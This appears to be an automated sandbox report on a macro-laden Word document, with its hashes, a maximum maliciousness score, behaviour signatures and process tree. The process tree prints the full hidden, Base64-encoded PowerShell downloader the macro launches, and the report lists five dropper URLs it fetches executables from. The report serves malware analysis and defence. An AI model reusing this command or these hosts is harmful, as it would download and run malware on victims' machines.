Analysis
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max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
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submitted
20/11/2024, 10:44
General
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Target
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc
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Size
291KB
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MD5
a46d29710dd6382d57bd63956a70398c
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SHA1
2c2a7a24cb960cf6c681f49de8289b3c926052b3
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SHA256
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f
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SHA512
66c718e7fe4cd762efa2c86392647b2db5f42a4c8bcb69110e1145a5bf85669d02281a25964780962eed24090cbf52a585e80010402e382978f1a1d088cd9e3e
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SSDEEP
6144:T0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Mq0XLswqqj2Ng+/HCxJtbGqFN:T0E3dxtR/iU9mvUPMqUsw32Ng+/HCxJt
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://www.besthelpinghand.com/wp-admin/tsh4/
exe.dropper
http://safari7.devitsandbox.com/error-log/wuuie/
exe.dropper
https://iconeprojetos.eng.br/wp-includes/rest-api/pkOOwDoI/
exe.dropper
http://hecquet.info/clickandbuilds/mV8Sn/
exe.dropper
http://trungcapduochanoi.info/wp-admin/w3pg1ny/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Blocklisted process makes network request 4 IoCs
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Drops file in System32 directory 1 IoCs
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Drops file in Windows directory 1 IoCs
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Office loads VBA resources, possible macro or embedded object present
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Modifies registry class 64 IoCs
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
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Suspicious behavior: EnumeratesProcesses 1 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of SetWindowsHookEx 2 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABaAGYAZABoAHEAbAB6AGwAcgBrAD0AJwBVAGwAbgByAHIAcgBsAHcAYQB2AGcAbwAnADsAJABVAHcAaQBwAGgAdgB2AHYAZwBzAHkAIAA9ACAAJwA5ADIANAAnADsAJABOAHUAawB1AHoAYwBmAHMAYwBoAD0AJwBBAGwAYgBjAG0AZQB2AG4AawBpAGUAcABiACcAOwAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQB3AGkAcABoAHYAdgB2AGcAcwB5ACsAJwAuAGUAeABlACcAOwAkAEoAZQB6AHAAagB0AGEAbAByAD0AJwBFAHIAcAB0AGwAagBmAHUAbABrAHkAJwA7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBCAGMATABpAGUAbgB0ADsAJABWAHQAaQBjAGkAeABiAHkAawBkAHYAZAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAZQBzAHQAaABlAGwAcABpAG4AZwBoAGEAbgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB0AHMAaAA0AC8AKgBoAHQAdABwADoALwAvAHMAYQBmAGEAcgBpADcALgBkAGUAdgBpAHQAcwBhAG4AZABiAG8AeAAuAGMAbwBtAC8AZQByAHIAbwByAC0AbABvAGcALwB3AHUAdQBpAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBpAGMAbwBuAGUAcAByAG8AagBlAHQAbwBzAC4AZQBuAGcALgBiAHIALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBwAGsATwBPAHcARABvAEkALwAqAGgAdAB0AHAAOgAvAC8AaABlAGMAcQB1AGUAdAAuAGkAbgBmAG8ALwBjAGwAaQBjAGsAYQBuAGQAYgB1AGkAbABkAHMALwBtAFYAOABTAG4ALwAqAGgAdAB0AHAAOgAvAC8AdAByAHUAbgBnAGMAYQBwAGQAdQBvAGMAaABhAG4AbwBpAC4AaQBuAGYAbwAvAHcAcAAtAGEAZABtAGkAbgAvAHcAMwBwAGcAMQBuAHkALwAnAC4AIgBTAFAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAYwBrAGIAZQBxAHYAdABtAHYAdgBvAD0AJwBDAGQAYQBhAGsAdgB4AHoAZAB4AHEAeAAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABnAG8AcABkAHgAbgBlAGgAIABpAG4AIAAkAFYAdABpAGMAaQB4AGIAeQBrAGQAdgBkACkAewB0AHIAeQB7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAC4AIgBEAE8AdwBgAE4ATABPAGEARABmAGAAaQBsAGUAIgAoACQAWABnAG8AcABkAHgAbgBlAGgALAAgACQAUgBuAHgAZQBxAHIAaABsAHQAbgBtACkAOwAkAEcAYgB3AGsAbABnAGYAZwBpAHkAPQAnAE0AdgBzAHcAdABmAGgAcQAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQApAC4AIgBMAEUATgBgAEcAdABoACIAIAAtAGcAZQAgADIAMgA4ADcANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABSAG4AeABlAHEAcgBoAGwAdABuAG0AKQA7ACQASwBvAHgAdgBqAHoAbQBsAGgAdgA9ACcASwB6AGsAYwB4AG4AdgB1AGIAdABqACcAOwBiAHIAZQBhAGsAOwAkAEgAZwBlAGsAcABkAGYAbwA9ACcAVwBuAGsAdgBnAHcAbgB6AGUAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGkAYwBrAGQAaQB3AGoAcgA9ACcAUwBjAHQAaABhAHMAcwBmAHoAdQBuACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1024KB
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Filesize
1024KB
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Filesize
64KB
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Filesize
1024KB
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Filesize
1024KB
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Filesize
1024KB
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Filesize
44KB
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Filesize
1024KB
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Filesize
4KB
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Filesize
1024KB
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Filesize
1024KB
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Filesize
1024KB
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Filesize
44KB
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Filesize
1024KB
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Filesize
32KB
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Filesize
2.9MB